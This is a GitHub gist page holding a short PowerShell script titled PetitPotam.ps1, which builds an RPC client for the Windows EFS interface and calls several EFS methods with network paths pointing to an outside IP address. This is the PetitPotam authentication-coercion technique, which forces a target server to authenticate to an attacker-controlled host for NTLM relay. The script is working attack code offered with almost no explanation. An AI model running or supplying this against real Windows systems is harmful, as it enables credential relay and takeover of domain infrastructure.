Skip to content

Instantly share code, notes, and snippets.

@bharadwajyas

bharadwajyas/PetitPotam.ps1

Forked from leechristensen/PetitPotam.ps1
Created July 31, 2021 16:01
Show Gist options
  • Save bharadwajyas/ea5b9101d42290a00b5aff256aba1558 to your computer and use it in GitHub Desktop.
Save bharadwajyas/ea5b9101d42290a00b5aff256aba1558 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
PetitPotam.ps1
Install-Module NtObjectManager
Import-Module NtObjectManager
$Servers = Get-RpcServer -Path C:\Windows\system32\efssvc.dll `
-DbgHelpPath 'C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\dbghelp.dll'
$EfsInterace = $Servers | Where-Object { $_.InterfaceId -eq 'df1941c5-fe89-4e79-bf10-463657acf44d' }
$client = Get-RpcClient -Server $EfsInterace
$client.Connect()
$ret = $client.EfsRpcOpenFileRaw( "\\192.168.230.200@1000/asdf\asdf\asdf",1) # <-- What PetitPotam uses
$ret = $client.EfsRpcEncryptFileSrv( "\\192.168.230.200@1001/asdf\asdf\asdf")
$ret = $client.EfsRpcDecryptFileSrv( "\\192.168.230.200@1002/asdf\asdf\asdf",0)
$ret = $client.EfsRpcQueryUsersOnFile( "\\192.168.230.200@1003/asdf\asdf\asdf")
$ret = $client.EfsRpcQueryRecoveryAgents("\\192.168.230.200@1004/asdf\asdf\asdf")
$client.Disconnect()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment